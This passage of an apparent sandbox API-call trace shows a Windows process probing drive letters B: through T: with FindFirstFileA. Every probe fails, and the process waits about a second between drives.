lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0085.261] GetLastError () returned 0x3 [0085.262] GetLastError () returned 0x3 [0085.262] GetLastError () returned 0x3 [0085.262] GetLastError () returned 0x3 [0085.262] GetLastError () returned 0x3 [0085.262] GetLastError () returned 0x3 [0085.262] LocalFree (hMem=0x109d058) returned 0x0 [0085.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0085.263] ResetEvent (hEvent=0x1d4) returned 1 [0085.263] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0086.266] GetLastError () returned 0x3 [0086.266] GetLastError () returned 0x3 [0086.266] GetLastError () returned 0x3 [0086.266] GetLastError () returned 0x3 [0086.266] GetLastError () returned 0x3 [0086.266] GetLastError () returned 0x3 [0086.266] FindFirstFileA (in: lpFileName="B:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0086.267] GetLastError () returned 0x3 [0086.267] GetLastError () returned 0x3 [0086.267] GetLastError () returned 0x3 [0086.267] GetLastError () returned 0x3 [0086.267] GetLastError () returned 0x3 [0086.267] GetLastError () returned 0x3 [0086.267] LocalFree (hMem=0x109d100) returned 0x0 [0086.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0086.267] ResetEvent (hEvent=0x1d4) returned 1 [0086.268] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0087.281] GetLastError () returned 0x3 [0087.281] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] FindFirstFileA (in: lpFileName="D:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.282] GetLastError () returned 0x3 [0087.283] LocalFree (hMem=0x109d2c0) returned 0x0 [0087.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0087.283] ResetEvent (hEvent=0x1d4) returned 1 [0087.283] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0088.338] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] FindFirstFileA (in: lpFileName="E:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.339] GetLastError () returned 0x3 [0088.340] GetLastError () returned 0x3 [0088.340] LocalFree (hMem=0x109cd80) returned 0x0 [0088.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0088.340] ResetEvent (hEvent=0x1d4) returned 1 [0088.340] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] FindFirstFileA (in: lpFileName="F:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.354] GetLastError () returned 0x3 [0089.355] GetLastError () returned 0x3 [0089.355] GetLastError () returned 0x3 [0089.355] GetLastError () returned 0x3 [0089.355] LocalFree (hMem=0x109d368) returned 0x0 [0089.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0089.355] ResetEvent (hEvent=0x1d4) returned 1 [0089.355] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0090.352] GetLastError () returned 0x3 [0090.353] GetLastError () returned 0x3 [0090.353] GetLastError () returned 0x3 [0090.353] GetLastError () returned 0x3 [0090.353] GetLastError () returned 0x3 [0090.353] GetLastError () returned 0x3 [0090.353] FindFirstFileA (in: lpFileName="G:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0090.354] GetLastError () returned 0x3 [0090.354] GetLastError () returned 0x3 [0090.354] GetLastError () returned 0x3 [0090.354] GetLastError () returned 0x3 [0090.354] GetLastError () returned 0x3 [0090.354] GetLastError () returned 0x3 [0090.354] LocalFree (hMem=0x109d100) returned 0x0 [0090.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0090.354] ResetEvent (hEvent=0x1d4) returned 1 [0090.354] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0091.365] GetLastError () returned 0x3 [0091.365] GetLastError () returned 0x3 [0091.365] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] FindFirstFileA (in: lpFileName="H:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] GetLastError () returned 0x3 [0091.366] LocalFree (hMem=0x109d288) returned 0x0 [0091.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0091.367] ResetEvent (hEvent=0x1d4) returned 1 [0091.367] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0092.361] GetLastError () returned 0x3 [0092.361] GetLastError () returned 0x3 [0092.361] GetLastError () returned 0x3 [0092.361] GetLastError () returned 0x3 [0092.361] GetLastError () returned 0x3 [0092.361] GetLastError () returned 0x3 [0092.361] FindFirstFileA (in: lpFileName="I:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0092.362] GetLastError () returned 0x3 [0092.362] GetLastError () returned 0x3 [0092.362] GetLastError () returned 0x3 [0092.362] GetLastError () returned 0x3 [0092.362] GetLastError () returned 0x3 [0092.362] GetLastError () returned 0x3 [0092.362] LocalFree (hMem=0x109cf40) returned 0x0 [0092.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0092.362] ResetEvent (hEvent=0x1d4) returned 1 [0092.362] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0093.362] GetLastError () returned 0x3 [0093.362] GetLastError () returned 0x3 [0093.362] GetLastError () returned 0x3 [0093.362] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] FindFirstFileA (in: lpFileName="J:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] GetLastError () returned 0x3 [0093.363] LocalFree (hMem=0x109ce98) returned 0x0 [0093.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0093.364] ResetEvent (hEvent=0x1d4) returned 1 [0093.364] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.361] FindFirstFileA (in: lpFileName="K:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0094.361] GetLastError () returned 0x3 [0094.361] GetLastError () returned 0x3 [0094.362] GetLastError () returned 0x3 [0094.362] GetLastError () returned 0x3 [0094.362] GetLastError () returned 0x3 [0094.362] GetLastError () returned 0x3 [0094.362] LocalFree (hMem=0x109d2c0) returned 0x0 [0094.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0094.362] ResetEvent (hEvent=0x1d4) returned 1 [0094.362] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0095.397] GetLastError () returned 0x3 [0095.397] GetLastError () returned 0x3 [0095.397] GetLastError () returned 0x3 [0095.397] GetLastError () returned 0x3 [0095.397] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] FindFirstFileA (in: lpFileName="L:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0095.398] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] GetLastError () returned 0x3 [0095.398] LocalFree (hMem=0x109d3d8) returned 0x0 [0095.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0095.398] ResetEvent (hEvent=0x1d4) returned 1 [0095.399] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0096.429] GetLastError () returned 0x3 [0096.429] GetLastError () returned 0x3 [0096.429] GetLastError () returned 0x3 [0096.430] GetLastError () returned 0x3 [0096.430] GetLastError () returned 0x3 [0096.430] GetLastError () returned 0x3 [0096.430] FindFirstFileA (in: lpFileName="M:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0096.432] GetLastError () returned 0x3 [0096.432] GetLastError () returned 0x3 [0096.432] GetLastError () returned 0x3 [0096.432] GetLastError () returned 0x3 [0096.432] GetLastError () returned 0x3 [0096.432] GetLastError () returned 0x3 [0096.432] LocalFree (hMem=0x109cf40) returned 0x0 [0096.432] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0096.432] ResetEvent (hEvent=0x1d4) returned 1 [0096.432] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0097.453] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] FindFirstFileA (in: lpFileName="N:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.454] GetLastError () returned 0x3 [0097.455] GetLastError () returned 0x3 [0097.455] GetLastError () returned 0x3 [0097.455] LocalFree (hMem=0x109d288) returned 0x0 [0097.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0097.455] ResetEvent (hEvent=0x1d4) returned 1 [0097.455] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.485] FindFirstFileA (in: lpFileName="O:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0098.485] GetLastError () returned 0x3 [0098.485] GetLastError () returned 0x3 [0098.486] GetLastError () returned 0x3 [0098.486] GetLastError () returned 0x3 [0098.486] GetLastError () returned 0x3 [0098.486] GetLastError () returned 0x3 [0098.486] LocalFree (hMem=0x109d330) returned 0x0 [0098.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb78 | out: hHeap=0x2ad0000) returned 1 [0098.486] ResetEvent (hEvent=0x1d4) returned 1 [0098.486] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0099.501] GetLastError () returned 0x3 [0099.501] GetLastError () returned 0x3 [0099.501] GetLastError () returned 0x3 [0099.501] GetLastError () returned 0x3 [0099.501] GetLastError () returned 0x3 [0099.501] GetLastError () returned 0x3 [0099.501] FindFirstFileA (in: lpFileName="P:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0099.501] GetLastError () returned 0x3 [0099.502] GetLastError () returned 0x3 [0099.502] GetLastError () returned 0x3 [0099.502] GetLastError () returned 0x3 [0099.502] GetLastError () returned 0x3 [0099.502] GetLastError () returned 0x3 [0099.502] LocalFree (hMem=0x109d138) returned 0x0 [0099.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3825840 | out: hHeap=0x2ad0000) returned 1 [0099.502] ResetEvent (hEvent=0x1d4) returned 1 [0099.502] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0100.501] GetLastError () returned 0x3 [0100.501] GetLastError () returned 0x3 [0100.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x3823d10 [0100.502] GetLastError () returned 0x3 [0100.502] GetLastError () returned 0x3 [0100.502] GetLastError () returned 0x3 [0100.502] GetLastError () returned 0x3 [0100.502] FindFirstFileA (in: lpFileName="Q:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0100.502] GetLastError () returned 0x3 [0100.502] GetLastError () returned 0x3 [0100.503] GetLastError () returned 0x3 [0100.503] GetLastError () returned 0x3 [0100.503] GetLastError () returned 0x3 [0100.503] GetLastError () returned 0x3 [0100.503] LocalFree (hMem=0x109d058) returned 0x0 [0100.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3823d10 | out: hHeap=0x2ad0000) returned 1 [0100.503] ResetEvent (hEvent=0x1d4) returned 1 [0100.504] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0101.517] GetLastError () returned 0x3 [0101.517] GetLastError () returned 0x3 [0101.517] GetLastError () returned 0x3 [0101.517] GetLastError () returned 0x3 [0101.517] GetLastError () returned 0x3 [0101.517] GetLastError () returned 0x3 [0101.517] FindFirstFileA (in: lpFileName="R:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0101.518] GetLastError () returned 0x3 [0101.518] GetLastError () returned 0x3 [0101.518] GetLastError () returned 0x3 [0101.518] GetLastError () returned 0x3 [0101.518] GetLastError () returned 0x3 [0101.518] GetLastError () returned 0x3 [0101.518] LocalFree (hMem=0x109ced0) returned 0x0 [0101.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38265d8 | out: hHeap=0x2ad0000) returned 1 [0101.518] ResetEvent (hEvent=0x1d4) returned 1 [0101.518] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0102.535] GetLastError () returned 0x3 [0102.535] GetLastError () returned 0x3 [0102.535] GetLastError () returned 0x3 [0102.535] GetLastError () returned 0x3 [0102.535] GetLastError () returned 0x3 [0102.535] GetLastError () returned 0x3 [0102.535] FindFirstFileA (in: lpFileName="S:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0102.535] GetLastError () returned 0x3 [0102.536] GetLastError () returned 0x3 [0102.536] GetLastError () returned 0x3 [0102.536] GetLastError () returned 0x3 [0102.536] GetLastError () returned 0x3 [0102.536] GetLastError () returned 0x3 [0102.536] LocalFree (hMem=0x109d1a8) returned 0x0 [0102.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3823888 | out: hHeap=0x2ad0000) returned 1 [0102.536] ResetEvent (hEvent=0x1d4) returned 1 [0102.536] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0103.549] GetLastError () returned 0x3 [0103.549] GetLastError () returned 0x3 [0103.549] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] FindFirstFileA (in: lpFileName="T:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] GetLastError () returned 0x3 [0103.550] LocalFree (hMem=0x109cf40) returned 0x0 [0103.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3823d10 | out: 